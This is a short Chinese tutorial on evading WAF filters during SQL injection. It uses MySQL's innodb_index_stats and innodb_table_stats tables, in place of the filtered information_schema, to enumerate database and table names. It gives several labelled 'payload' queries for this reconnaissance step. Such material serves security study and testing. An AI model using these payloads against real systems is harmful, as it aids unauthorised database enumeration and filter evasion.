前言

大多数有WAF的情况下,使用一些敏感词如information_schema会被直接过滤掉,但是可以使用innodb存储引擎来绕过这个限制
从Mysql5.5开始,默认的数据存储引擎就为InnodDB,执行命令select @@innodb_version就会显示出innoDB的版本(和Mysql一样)
image-20220124111217230
从5.6起,InnoDB新增加了两张表innodb_index_statsinnodb_table_stats,这两张表记录了所有新建的数据库与表 image-20220124111442939

[!WARNING]

不幸的是InnoDB没有记录字段,所以只能用于获取数据库名和表名

innodb_index_stats

查看表结构,可以明显的看到有2个字段:database_nametable_name

  1. desc innodb_index_stats;

image-20220124111608606
查看内容
image-20220124111726582
很明显,前两列分别是我们的数据库名和表名
因此注入的时候可以通过这个表来获取数据库名和表名
Payload:

  1. -- 查询所有新增数据库
  2. select group_concat(distinct database_name) from innodb_index_stats;

image-20220124112044056

  1. -- 查询数据库test中的所有表名
  2. select group_concat(distinct table_name) from innodb_index_stats where database_name="test";

image-20220124112155431

innodb_table_stats

和上面类似,都有database_nametable_name,所以上面改下表明就可以了
image-20220124112259465

  1. -- 查询数据库test中的所有表名
  2. select group_concat(distinct table_name) from innodb_table_stats where database_name="test";

Payload汇总

其实还是很简单,就是新版本的mysql中多了两个表mysql.innodb_index_statsmysql.innodb_table_stats,然后这俩个表存储了数据库名和表名

  1. -- 查询所有新增数据库
  2. select group_concat(distinct database_name) from mysql.innodb_index_stats;
  3. -- 查询数据库test中的所有表名
  4. select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name="test";
  5. -- 查询当前数据库中的所有表名
  6. select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name=schema();